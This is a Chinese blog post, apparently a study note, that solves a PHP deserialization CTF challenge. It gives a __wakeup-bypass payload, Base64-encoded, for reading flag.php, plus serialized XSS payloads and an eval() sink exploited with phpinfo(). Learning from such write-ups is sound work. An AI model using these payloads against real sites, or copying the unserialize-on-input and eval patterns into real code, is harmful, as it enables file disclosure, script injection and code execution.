900字范文,内容丰富有趣,生活中的好帮手!
900字范文 > PHP反序列化CTF例题

PHP反序列化CTF例题

时间:2018-12-07 18:22:12

相关推荐

PHP反序列化CTF例题

渗透学习

不安全的反序列化之PHP反序列化

文章目录

渗透学习前言*本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任。*一、CTF例题二、PHP反序列化漏洞和XSS跨站脚本总结

前言

本系列用于记录本人渗透学习的过程,主要内容围绕Owasp TOP 10展开。

接上篇不安全的反序列化之反序列化基础用简单案例接触了PHP反序列化,但对该漏洞的利用和实际场景浅尝辄止 。这篇将会用代码审计的方式分析一道典型的存在PHP反序列化漏洞的案例,加深对魔术方法等相关知识的理解。另外,还会和xss跨站脚本的知识进行融合。

本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任。

一、CTF例题

学习案例

class SoFun{protected $file='index.php';function __destruct(){if(!empty($this->file)) {if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)show_source(dirname (__FILE__).'/'.$this ->file);elsedie('Wrong filename.');}} function __wakeup(){$this-> file='index.php'; } public function __toString(){return '' ;}}if (!isset($_GET['file'])){show_source('index.php'); } else{$file=base64_decode( $_GET['file']); echo unserialize($file ); } ?> #<!--key in flag.php-->

代码审计:

根据提示,key在flag.php中,而想要获得文件中内容,只能靠语句show_source(dirname (__FILE__).'/'.$this ->file);

发现该题用到了__destruct等魔术方法,可以根据其性质进行漏洞利用(详见上一篇文章)

常规思路是利用反序列化的方式POST"file"参数将读取的文件从index.php替换成flag.php,然后利用__destruct的自动执行读取flag.php中的内容。

但是在反序列化执行时会自动执行__wakeup,其作用是将文件再设为index.php

解决方案:

显然我们需要利用一种方法绕过__wakeup方法,而当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。比如:

实际情况:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}

Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}

Payload对象属性个数为2,而实际属性个数为1,那么就会掉入漏洞,从而跳过wakeup()方法。

Payload

根据上篇文章所学,易得反序列化语句为O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}

值得注意的是,file是protected属性,因此需要用\00*\00来表示,\00代表ascii为0的值。

此题还需要一次Base64编码,结果为:

Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

该PHP反序列化漏洞的案例其实来源于SugarCRM v6.5.23中

SugarCRM(/ )是一套开源的客户关系管理系统。研究者发现在其<=6.5.23的版本中存在反序列化漏洞,程序对攻击者恶意构造的序列化数据进行了反序列化的处理,从而使攻击者可以在未授权状态下执行任意代码。

有兴趣的可以点击了解

二、PHP反序列化漏洞和XSS跨站脚本

当尝试序列化一段xss代码的时候,当它进行反序列化的时候会自动执行xss

<?php$a="test"; //字符串$arr = array('j' => 'jack' ,'r' => 'rose'); //数组class A{public $test="<img src=1 οnerrοr=alert(1)>";}echo "序列化:";echo "</br>";$aa=serialize($a);print_r($aa);echo "</br>";$arr_a=serialize($arr);print_r($arr_a);echo "</br>";$class1 = new A(); //对象$class_a=serialize($class1);print_r($class_a);echo "<br/>";echo "反序列化:";echo "<br/>";print_r(unserialize($aa));echo "</br>";print_r(unserialize($arr_a));echo "</br>";print_r(unserialize($class_a));?>

执行结果:

在__wakeup中一样存在类似的漏洞:

<?phpclass A{var $test = "demo";function __wakeup(){echo $this->test;}}$a = $_GET['test'];$a_unser = unserialize($a);?>

使用payload:O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}一样会造成XSS攻击

而如果__wakeup中不是echo $this->test; ,是eval(*)那么就是任意代码执行则会造成更严重的后果。

比如:

<?phpclass A{var $test = "demo";function __wakeup(){eval($this->test);}}$b = new A();$c = serialize($b);echo $c;$a = $_GET['test'];$a_unser = unserialize($a);?>

构造payload:O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}即可获得php内置信息

总结

以上介绍了一道比较综合的CTF题目对PHP反序列化漏洞有一个更清晰化的认识,这道题难度不算高,但对代码审计能力有着一定的要求。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。